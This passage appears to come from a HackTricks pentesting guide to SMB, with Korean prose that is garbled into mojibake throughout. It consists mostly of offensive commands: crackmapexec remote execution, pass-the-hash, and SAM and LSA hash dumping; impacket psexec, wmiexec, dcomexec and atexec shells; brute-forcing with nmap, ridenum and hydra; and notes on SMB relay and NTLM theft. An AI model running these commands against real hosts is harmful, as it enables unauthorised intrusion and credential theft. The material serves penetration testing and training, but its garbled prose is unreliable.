enable privileges = yes | ํน์ SID์ ํ ๋น๋ ๊ถํ์ ์กด์คํฉ๋๊น? |
create mask = 0777 | ์๋ก ์์ฑ๋ ํ์ผ์ ์ด๋ค ๊ถํ์ด ํ ๋น๋์ด์ผ ํฉ๋๊น? |
directory mask = 0777 | ์๋ก ์์ฑ๋ ๋๋ ํฐ๋ฆฌ์ ์ด๋ค ๊ถํ์ด ํ ๋น๋์ด์ผ ํฉ๋๊น? |
logon script = script.sh | ์ฌ์ฉ์ ๋ก๊ทธ์ธ ์ ์ด๋ค ์คํฌ๋ฆฝํธ๋ฅผ ์คํํด์ผ ํฉ๋๊น? |
magic script = script.sh | ์คํฌ๋ฆฝํธ๊ฐ ์ข ๋ฃ๋ ๋ ์ด๋ค ์คํฌ๋ฆฝํธ๋ฅผ ์คํํด์ผ ํฉ๋๊น? |
magic output = script.out | ๋งค์ง ์คํฌ๋ฆฝํธ์ ์ถ๋ ฅ์ ์ด๋์ ์ ์ฅ๋์ด์ผ ํฉ๋๊น? |
smbstatus ๋ช
๋ น์ ์๋ฒ ๋ฐ ๋๊ฐ ์ฐ๊ฒฐ๋์ด ์๋์ง์ ๋ํ ์ ๋ณด๋ฅผ ์ ๊ณตํฉ๋๋ค.
Kerberos๋ฅผ ์ฌ์ฉํ์ฌ ์ธ์ฆ
๋๊ตฌ smbclient ๋ฐ rpcclient๋ฅผ ์ฌ์ฉํ์ฌ Kerberos์ ์ธ์ฆํ ์ ์์ต๋๋ค:
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
Kerberos-only ํ๊ฒฝ(NTLM ๋นํ์ฑํ)์์๋ SMB์ ๋ํ NTLM ์๋๊ฐ STATUS_NOT_SUPPORTED๋ฅผ ๋ฐํํ ์ ์์ต๋๋ค. ์ผ๋ฐ์ ์ธ Kerberos ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ๊ณ Kerberos auth๋ฅผ ๊ฐ์ ํ์ธ์:
# sync clock to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# use Kerberos with tooling (reads your TGT from ccache)
netexec smb <dc.fqdn> -k
์์ ํ ํด๋ผ์ด์ธํธ ์ค์ (krb5.conf ์์ฑ, kinit, SSH GSSAPI/SPN ์ฃผ์์ฌํญ)์ ๋ค์์ ์ฐธ์กฐํ์ธ์:
88tcp/udp - Pentesting Kerberos
๋ช ๋ น ์คํ
crackmapexec
crackmapexec๋ mmcexec, smbexec, atexec, wmiexec ์ค ์ด๋ค ๊ฒ์ ์ฌ์ฉํ์ฌ ๋ช
๋ น์ ์คํํ ์ ์์ผ๋ฉฐ, ๊ธฐ๋ณธ ๋ฐฉ๋ฒ์ wmiexec์
๋๋ค. ์ ํธํ๋ ์ต์
์ --exec-method ํ๋ผ๋ฏธํฐ๋ก ์ง์ ํ ์ ์์ต๋๋ค:
apt-get install crackmapexec
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
psexec/smbexec
๋ ์ต์
๋ชจ๋ ๋์ ๋จธ์ ์์ (SMB๋ฅผ ํตํด _\pipe\svcctl_๋ฅผ ์ฌ์ฉํ์ฌ) ์ ์๋น์ค๋ฅผ ์์ฑํ๊ณ ์ด๋ฅผ ์ฌ์ฉํด ๋ฌด์ธ๊ฐ๋ฅผ ์คํํฉ๋๋ค. (psexec๋ ์คํ ํ์ผ์ ADMIN$ share์ ์
๋ก๋ํ๊ณ , smbexec๋ cmd.exe/powershell.exe๋ฅผ ๊ฐ๋ฆฌํค๋ฉฐ ์ธ์์ ํ์ด๋ก๋๋ฅผ ๋ฃ์ต๋๋ค โ file-less technique).
์์ธํ ์ ๋ณด๋ psexec ์ smbexec.
kali์์๋ /usr/share/doc/python3-impacket/examples/์ ์์นํฉ๋๋ค.
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
parameter-k๋ฅผ ์ฌ์ฉํ๋ฉด NTLM ๋์ kerberos๋ก ์ธ์ฆํ ์ ์์ต๋๋ค.
wmiexec/dcomexec
๋์คํฌ๋ฅผ ๊ฑด๋๋ฆฌ๊ฑฐ๋ ์๋ก์ด ์๋น์ค๋ฅผ ์คํํ์ง ์๊ณ DCOM์ ํตํด **port 135.**์์ ๋ช ๋ น ์ ธ์ ์๋ฐํ ์คํํฉ๋๋ค.\ kali์์๋ /usr/share/doc/python3-impacket/examples/์ ์์นํฉ๋๋ค.
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
๋งค๊ฐ๋ณ์-k๋ฅผ ์ฌ์ฉํ๋ฉด NTLM ๋์ kerberos๋ก ์ธ์ฆํ ์ ์์ต๋๋ค.
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
AtExec
Task Scheduler๋ฅผ ํตํด ๋ช
๋ น์ ์คํํฉ๋๋ค (SMB๋ฅผ ํตํ \pipe\atsvc ์ฌ์ฉ).
kali์์๋ /usr/share/doc/python3-impacket/examples/์ ์์นํฉ๋๋ค.
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
Impacket ์ฐธ๊ณ
https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/
ksmbd ๊ณต๊ฒฉ ํ๋ฉด ๋ฐ SMB2/SMB3 ํ๋กํ ์ฝ ํผ์ง (syzkaller)
Ksmbd Attack Surface And Fuzzing Syzkaller
Bruteforce ์ฌ์ฉ์ ์๊ฒฉ ์ฆ๋ช
๊ถ์ฅํ์ง ์์ต๋๋ค. ํ์ฉ๋ ์ต๋ ์๋ ํ์๋ฅผ ์ด๊ณผํ๋ฉด ๊ณ์ ์ด ์ฐจ๋จ๋ ์ ์์ต๋๋ค.
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
SMB relay attack
์ด ๊ณต๊ฒฉ์ Responder ํดํท์ ์ฌ์ฉํด ๋ด๋ถ ๋คํธ์ํฌ์์ capture SMB authentication sessions์ ํฌ์ฐฉํ๊ณ , ์ด๋ฅผ relaysํ์ฌ target machine์ผ๋ก ์ ๋ฌํฉ๋๋ค. ์ธ์ฆ session is successful์ผ ๊ฒฝ์ฐ ์๋์ผ๋ก system shell๋ก ์ง์
ํฉ๋๋ค.
More information about this attack here.
SMB-Trap
Windows ๋ผ์ด๋ธ๋ฌ๋ฆฌ URLMon.dll์ ํ์ด์ง๊ฐ SMB๋ฅผ ํตํด ์ผ๋ถ ์ปจํ
์ธ ์ ์ ๊ทผํ๋ ค ํ ๋ ์๋์ผ๋ก ํธ์คํธ์ ์ธ์ฆ์ ์๋ํฉ๋๋ค. ์: img src="\\10.10.10.10\path\image.jpg"
This happens with the functions:
- URLDownloadToFile
- URLDownloadToCache
- URLOpenStream
- URLOpenBlockingStream
์ด ํจ์๋ค์ ์ผ๋ถ ๋ธ๋ผ์ฐ์ ์ ๋๊ตฌ(์: Skype)์์ ์ฌ์ฉ๋ฉ๋๋ค.
.png)
MitMf๋ฅผ ์ด์ฉํ SMBTrap
.png)
NTLM Theft
SMB Trapping๊ณผ ์ ์ฌํ๊ฒ, ์ ์ฑ ํ์ผ์ ํ๊น ์์คํ ์ ์ฌ์ด(์: SMB๋ฅผ ํตํด) SMB ์ธ์ฆ ์๋๋ฅผ ์ ๋ฐํ ์ ์์ผ๋ฉฐ, Responder ๊ฐ์ ๋๊ตฌ๋ก NetNTLMv2 ํด์๋ฅผ ๊ฐ๋ก์ฑ ์ ์์ต๋๋ค. ๊ทธ ํด์๋ ์คํ๋ผ์ธ์์ ํฌ๋ํ๊ฑฐ๋ SMB relay attack์ ์ฌ์ฉํ ์ ์์ต๋๋ค.
HackTricks ์๋ ๋ช ๋ น
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as โNBT over IPโ, Port 445 is โSMB over IPโ. SMB stands for โServer Message Blocksโ. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
#These are the commands I run in order every time I see an open SMB port
With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}
Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
์ฐธ๊ณ ์๋ฃ
- NetExec (CME) wiki โ Kerberos usage
- Pentesting Kerberos (88) โ client setup and troubleshooting
- ShareHound (collector)
- ShareQL (DSL)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


